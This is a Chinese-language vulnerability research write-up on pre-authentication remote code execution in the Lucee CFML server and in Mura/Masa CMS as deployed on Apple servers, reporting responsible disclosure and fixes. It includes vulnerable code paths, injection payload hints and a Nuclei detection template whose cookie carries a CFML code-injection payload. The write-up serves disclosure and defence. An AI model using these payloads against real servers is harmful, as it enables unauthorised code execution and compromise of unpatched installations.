去年,我们对Adobe ColdFusion 中的多个漏洞进行了深入分析,得出了宝贵的见解,其中之一涉及 CFM 和 CFC 处理、解析和执行。我们想知道是否还有其他 CFML 服务器。这是否敲响了警钟?请允许我们介绍一下露西。我们之前已经攻破了 Lucee 的管理面板,在使用 Lucee 作为底层服务器的多个 Apple 服务器上展示了预身份验证远程代码执行 (RCE) 。
我们的旅程引导我们进行了多次尝试,我们将深入研究我们不成功的努力,并最终在 Apple 生产服务器上实现 RCE。值得注意的是,我们的利用扩展到可能危害 Lucee 的更新服务器,从而揭示了一种经典的供应链攻击,可以通过恶意更新危害任何 Lucee 安装。
尝试 1 - 请求处理和 REST 映射
在我们早期的研究中检查了 Lucee 的管理面板后,我们发现它相当锁定。在未经身份验证的情况下,您只能访问四个 CFM 文件,因此没有太多空间可以发现其中的错误。我们需要深入研究 Lucee 如何处理请求。我们正在寻找特定的路径、参数、标头等,以了解请求的处理方式。
检查完 web.xml 文件后,我们通过 IntelliJ 设置了 JVM 调试器并添加了 Lucee 的源代码。我们计划通过在 Request::exe() 处放置断点来开始检查代码。这样,我们就可以一步一步地浏览代码,看看 Lucee 是如何处理请求的。
public static void exe(PageContext pc, short type, ...) {
try {
...
if (type == TYPE_CFML) pc.executeCFML(pc.getHttpServletRequest().getServletPath(), throwExcpetion, true);
else if (type == TYPE_LUCEE) pc.execute(pc.getHttpServletRequest().getServletPath(), throwExcpetion, true);
else pc.executeRest(pc.getHttpServletRequest().getServletPath(), throwExcpetion);
}
finally {
...
}
}
Lucee 中处理请求和响应的另一个有趣的类是core/src/main/java/lucee/runtime/net/http/ReqRspUtil.java. 在此类中,有一些函数可以处理请求的各个方面,例如设置/获取某些标头、查询参数和请求正文等。
在研究此类时,我们注意到对 JavaConverter.deserialize() 的调用。顾名思义,它是 readObject() 的包装器,用于处理 Java 反序列化。
public static Object getRequestBody(PageContext pc, boolean deserialized, ...) {
HttpServletRequest req = pc.getHttpServletRequest();
MimeType contentType = getContentType(pc);
...
if(deserialized) {
int format = MimeType.toFormat(contentType, -1);
obj = toObject(pc, data, format, cs, obj);
}
...
return defaultValue;
}
public static Object toObject(PageContext pc, byte[] data, int format, ...) {
switch (format) {
...
case UDF.RETURN_FORMAT_JAVA: //5
try {
return JavaConverter.deserialize(new ByteArrayInputStream(data));
}
catch (Exception pe) {
}
break;
}
看起来,当请求的内容/类型标头设置为 时application/java,理论上我们应该到这里结束,对吗?好吧,我们立即发送了URLDNS具有所需内容类型的小工具。结果呢?请击鼓……没什么。难道是deserialized条件没通过?为了进行调查,我们在 上添加了一个断点getRequestbody(),却发现我们甚至没有到达这一点。
但为什么?我们跟踪了函数调用,并意识到必须进行某些配置才能满足 if/else 语句,从而引导我们到达接收器。鉴于堆栈的复杂性,我们简单总结一下要点。
Request:exe() - Determines the type of request and handles it appropriately.
↓
PageContextImpl:executeRest() - Looks for Rest mappings and executes the RestRequestListener.
↓
RestRequestListener() -- Sets the "client" attribute with the value "lucee-rest-1-0" on the request object.
↓
ComponentPageImpl:callRest() - Examines the "client" attribute; if it's "lucee-rest-1-0", proceeds to execute callRest() followed by _callRest().
↓
ComponentPageImpl:_callRest() - If the rest mapping involves an argument, invokes ReqRspUtil.getRequestBody with the argument deserialized: true.
↓
ReqRspUtil.getRequestBody() - If the deserialized argument is true, triggers the toObject() function, which deserializes the request body based on the provided content type.
↓
toObject() - Java Deserialization on the request body if the content type is "application/java".
↓
JavaConverter.deserialize() - The final step where the Java Deserialization process occurs.
要重现此 RCE,必须配置带有至少一个参数的函数的剩余映射。在休息映射下部署。
component restpath="/java" rest="true" {
remote String function getA(String a) httpmethod="GET" restpath="deser" {
return a;
}
}
通过 Lucee 上的 REST 映射进行 Java 反序列化
令人惊讶的是,我们发现 Lucee 的关键更新服务器使用 REST 端点 - https://update.lucee.org/rest/update/provider/echoGet。该服务器对于管理来自各种 Lucee 安装的所有更新请求至关重要。
在发现时,该服务器容易受到我们的利用,这可能使攻击者能够破坏更新服务器,从而为供应链攻击打开了大门。认识到情况的严重性后,Lucee 的维护人员立即实施了修补程序来保护其更新服务器的安全,随后发布了包含必要修复的 Lucee 更新版本 - CVE-2023-38693。
然而,我们的发现并不适用于 Apple 的主机,因为它们没有公开任何 REST 映射。让我们再试一次!
尝试 2 - CFML 表达式解释器、Cookie 和会话
在对代码库有了更深入的了解后,我们开始有选择地检查类,其中引起我们注意的是CFMLExpressionInterpreter. 这个类的有趣性质促使我们深入研究它的细节。查看该类后,很明显,当构造函数的布尔参数 limit 设置为False(默认为True)时,该方法CFMLExpressionInterpreter.interpret(…)就能够执行 CFML 表达式。
像 CFMLExpressionInterpreter(false).interpret("function(arg)") 这样的东西应该让我们执行 Lucee 的任何函数。
有了这种洞察力,我们在代码库中进行了彻底的搜索,以识别CFMLExpressionInterpreter(false)初始化的实例,并且我们发现了几个实例。其中一个特别令人感兴趣 StorageScopeCookie,它的名称似乎与 cookie 有关。
public abstract class StorageScopeCookie extends StorageScopeImpl {
protected static CFMLExpressionInterpreter evaluator = new CFMLExpressionInterpreter(false);
protected static Struct _loadData(PageContext pc, String cookieName, int type, String strType, Log log) {
String data = (String) pc.cookieScope().get(cookieName, null);
if (data != null) {
try {
Struct sct = (Struct) evaluator.interpret(pc, data);
...
}
...
}
...
}
}
该StorageScopeCookie._loadData()函数似乎接受 cookie 名称作为其参数之一,从 PageContext 检索其值,然后将其传递给terpret()。
在彻底跟踪多个代码流程后,这三个代码流程脱颖而出,似乎可以由 Lucee 应用程序调用。
sessionInvalidate() -> invalidateUserScope() -> getClientScope() -> ClientCookie.getInstance() -> StorageScopeCookie._loadData(…)
sessionRotate() -> invalidateUserScope() -> getClientScope() -> ClientCookie.getInstance() -> StorageScopeCookie._loadData(…)
PageContext.scope() -> getClientScope() -> ClientCookie.getInstance() -> StorageScopeCookie._loadData(…)
public final class ClientCookie extends StorageScopeCookie implements Client {
private static final String TYPE = "CLIENT";
public static Client getInstance(String name, PageContext pc, Log log) {
if (!StringUtil.isEmpty(name)) name = StringUtil.toUpperCase(StringUtil.toVariableName(name));
String cookieName = "CF_" + TYPE + "_" + name;
return new ClientCookie(pc, cookieName, _loadData(pc, cookieName, SCOPE_CLIENT, "client", log));
}
}
调用 sessionInvalidate() 或 sessionRotate() 后,我们成功访问了 ClientCookie.getInstance(),将 cookie 名称构造为CF_CLIENT_LUCEE。
这意味着任何使用 sessionInvalidate() 或 sessionRotate() 的应用程序都可能通过 CF_CLIENT_LUCEE cookie 暴露远程代码执行 (RCE) 漏洞。其中,“Lucee”代表应用程序上下文名称,该名称可能会根据部署的应用程序而有所不同。
我们在 Lucee 代码库中最初搜索了这些函数在任何未经身份验证的 CFM 文件或组件 (CFC) 中的使用情况,但没有得到任何结果。将我们的调查范围扩大到 Mura/Masa CMS(Apple 也将其部署在其 Lucee 服务器上),我们发现了两个调用。其中一个调用在注销操作下未经身份验证。
public function logout() output=false {
...
if ( getBean('configBean').getValue(property='rotateSessions',defaultValue='false') ) {
...
sessionInvalidate();
...
不幸的是,能否成功利用此漏洞取决于 Mura/Masa 中启用的rotateSessions 设置,该设置默认设置为 false。因此,我们无法在 Apple 的部署中触发此漏洞。
感到一丝失望,我们将注意力转向了流程PageContext.scope()。经过彻底的调试会话后,很明显,此场景中的 cookie 名称将是CF_CLIENT_。更重要的是,要利用此代码执行,我们需要从 Lucee 管理员启用客户端管理设置,该设置默认情况下是禁用的。因此,我们再次发现自己无法在 Apple 的配置上触发此漏洞。
无论如何,这里有一个 PoC:
尝试 3 - 变量解释器、函数和 Mura CMS
经过多次失败的尝试后,我们想到了一个替代的想法。如果我们能够识别更多可能接受用户输入作为字符串并可能导致代码执行的函数,会怎么样?
我们的注意力被吸引到了VariableInterpreter.parse(,,limited),它初始化了CFMLExpressionInterpreter(limited)。我们想到,如果有对 的调用VariableInterpreter.parse(,,false),可能会有一种方法来执行代码。
考虑到这一点,我们在 VariableInterpreter 类中发现了一些易受攻击的接收器。如果以下任何函数将用户输入传递给 parse(),它就可以达到我们的目的:
getVariableEL → VariableInterpreter.parse(,,false)
getVariableAsCollection → VariableInterpreter.parse(,,false)
getVariableReference → VariableInterpreter.parse(,,false)
removeVariable → VariableInterpreter.parse(,,false)
isDefined → VariableInterpreter.parse(,,false)
为了缩小搜索范围,我们调查了导入该类的类VariableInterpreter并确定了以下嫌疑对象:
core/src/main/java/lucee/runtime/PageContextImpl.java
core/src/main/java/lucee/runtime/functions/decision/IsDefined.java#L41
core/src/main/java/lucee/runtime/functions/struct/StructGet.java#L37
core/src/main/java/lucee/runtime/functions/struct/StructSort.java#L74
core/src/main/java/lucee/runtime/functions/system/Empty.java#L34
core/src/main/java/lucee/runtime/tag/SaveContent.java#L87
core/src/main/java/lucee/runtime/tag/Trace.java#L170
考虑到 PageContextImpl 的复杂性,我们选择首先关注其他类。从函数类开始,我们测试StructGet("abc")并成功命中断点VariableInterpreter.parse()。但是,尝试之前用于调用的有效负载CFMLExpressionInterpreter.interpret()并未执行imageRead()。
经过审查parse(),我们意识到需要修改有效负载,x[imageRead('')]因为CFMLExpressionInterpreter.interpretPart()在拆分字符串后进行了调用[并且它起作用了。imageRead()被执行。我们可以从 中调用任意函数StrucGet("")。
这使我们得出结论,以下函数允许 CFML 评估,当它们包含用户输入时允许远程代码执行 (RCE):
结构获取(“...”)
被定义为(”...”)
空的(”...”)
我们在 Masa/Mura CMS 的代码库中进行了快速搜索,尽管没有找到对 StructGet() 和 Empty() 的调用,但我们偶然发现了大量对 isDefined() 的调用。(提示快乐的声音!)
现在,如此多调用的原因是 isDefined(String var) 用于检查给定字符串是否定义为变量。这意味着 isDefined(”url.search”) 并不意味着我们的查询参数search的值正在传递到这里。我们需要像 isDefined(”#url.search#”) 这样的调用,这意味着将检查给定的字符串是否被定义为变量。
经过 grep 后,我们遇到了一些调用,最重要的是core/mura/client/api/feed/v1/apiUtility.cfc#L122 的 FEED API 中的调用以及 JSON API 中的调用,这两个调用都可以触发预身份验证。isDefined(.#)
function processRequest(){
try {
var responseObject=getpagecontext().getresponse();
var params={};
var result="";
getBean('utility').suppressDebugging();
structAppend(params,url);
structAppend(params,form);
structAppend(form,params);
...
if (isDefined('params.method') && isDefined('#params.method#')){
...
}
}
}
该结构由和结构param填充,分别存储 GET 和 POST 参数。因此,该结构包含用户输入。当 Mura/Masa CMS 部署在 Lucee 服务器上时,执行会带来远程代码执行 (RCE) 的风险。urlformparamisDefined("#param.method#")
最后:我们在 Apple 上执行代码!
这些发现已报告给 Apple 和 Lucee 团队。Apple 在 48 小时内修复了该报告,而 Lucie 的团队通知我们,他们已经意识到这一性质,并且已经通过在管理面板中添加可选设置来实施修复:
漏洞检测
以下模板可用于识别您的 Lucee 实例是否容易受到可能导致远程代码执行的 cookie 解析问题的影响。我们还在nuclei-templates项目中添加了检测模板。
id: lucee-rce
info:
name: Lucee < 6.0.1.59 - Remote Code Execution
author: rootxharsh,iamnoooob,pdresearch
severity: critical
metadata:
1 :
http.title:"Lucee" :
verified: true
tags: lucee,rce,oast
http:
raw:
|
GET / HTTP/1.1
Host: {{Hostname}}
Cookie: CF_CLIENT_=render('<cfscript>writeoutput(ToBinary("{{base64('{{randstr}}')}}"))</cfscript>');
matchers:
type: dsl
dsl:
contains(body, "{{randstr}}")
contains(header, "cfid")
contains(header, "cftoken")
condition: and
应用补丁
首先,确保您使用的是 Lucee 的最新稳定版本。然后在 Lucee 管理面板中应用以下设置以禁用对这些函数的评估:
他们还修复了被解析为 CFML 表达式的 cookie。
结论
我们深入研究了 Lucee(另一种 CFML 服务器),产生了富有洞察力的结果并发现了关键漏洞。我们查明了 Lucee 请求处理和 REST 映射中的漏洞,暴露了一个关键的 Java 反序列化缺陷。潜在影响是巨大的,特别是考虑到该漏洞可能会利用 Lucee 的重要更新服务器,从而促进供应链攻击。
此外,我们对 Lucee 的 CFML 表达式解释、cookie 和会话的探索发现了可能导致远程代码执行的漏洞。利用 sessionInvalidate()、sessionRotate()、StructGet() 和 IsDefined() 等函数,我们确定了远程代码执行的途径,特别是在 Mura/Masa CMS(Apple 部署在 Lucee 之上的 CMS)中。
在我们负责任地向 Apple 和 Lucee 团队披露信息后,我们迅速采取了行动。Apple 在 48 小时内做出回应并实施了修复,迅速解决了报告的问题,并向我们奖励了 20,000 美元的奖金,而 Lucee 也迅速实施了修复以修复漏洞。这项合作凸显了负责任的披露和错误赏金计划的重要性。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...